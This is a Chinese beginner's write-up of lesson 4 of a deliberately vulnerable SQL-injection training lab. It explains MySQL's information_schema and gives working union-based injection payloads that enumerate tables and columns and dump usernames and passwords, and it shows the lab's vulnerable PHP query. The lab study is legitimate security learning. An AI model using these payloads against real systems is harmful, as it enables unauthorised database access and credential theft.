小白学习sql注入之lesson4

lesson4

尝试之前遇到的情况 发现没变

测试双引号
id=1” 报错
near ’ ” 1” “) LIMIT 0,1 ’ at line 1

猜测sql语句
select username,password from table where id=("input")
闭合双引号 括号
id= 1”) and (“1”=”1
id= 1”) and 1=1 –+
id= 1”) and 1=2 –+ 返回错误说明存在sql注入


接下来与数据库有关

我们需要了解一下基本的数据库知识
information_schema
*大家在使用mysql数据库的时候,会发现除了自己建立的数据库,还自带了一个数据库 information_schema 那么 information_schema数据库是用来做什么的。 information_schema数据库是用来储存元数据的。
元数据是什么?元数据是描述数据的数据。如数据库类型或表名,列的数据类型,或访问权限等。
information_schema 是一个信息数据库。包含着该mysql服务器所维护的所有其他数据库信息。如数据库名,表名,访问权限等*


information_schema 数据库表的说明
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表


关于information_schema.tables的说明
获取所有表的结构
select * from information_schema.tables where table_schema=’数据库名’
TABLES表:提供了关于数据库中表的信息(包括视图) 详细表述了 某个表属于那个schema
字段 含义
Table_catalog 数据表登记目录
Table_schema 数据表所属的数据库名
Table_name 表名称
Table_type 表类型[system view|base table]
Engine 使用的数据库引擎[MyISAM|CSV|InnoDB]
Version 版本, 默认值10
Row_format 行格式[Compact|Dynamic|Fixed]
Table_rows 表里所存多少行数据
Avg_row_length 平均行长度
Data_length 数据长度
Max_data_length 最大数据长度
Index_length 索引长度
Data_free 空间碎片
Auto_increment 做自增主键的自动增量当前值
Create_time 表的创建时间
Update_time 表的更新时间
Check_time 表的检查时间
Table_collation 表的字符校验编码集
Checksum 校验和
Create_options 创建选项
Table_comment 表的注释、备注

所以,我们要首先需要判断有多少个字段的列数,利用order by判断
id=1”) order by 5 报错 也就是说没有第五列
id=1”) order by 4 报错
id=1”) order by 3 正常 说明字段数列一共有三列

接下来判断在什么地方注入
id=-1") union select 1,2,3 --+显示2和3 我们判断2与3的地方存在注入

接下来构造注入语句
id=-1") union select 1,table_name,3 from information_schema.tables where table_schema='security'--+
成功爆出第一个表名

**查看其他表名** 
1.用**limit**参数(limit m,n  读取第m+1到m+n的数据)
id=-1") union select 1,table_name,3 from information_schema.tables where table_schema='security'limit1,1--+

2.利用**group_concat()**{函数返回一个字符串结果,该结果由分组中的值连接组合而成。}
id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

获取了表名 现在获取uers表里面的字段
id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

获取内容
id=-1") union select 1,group_concat(uername,password),3 from users--+

查看lesson4   sql语句
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值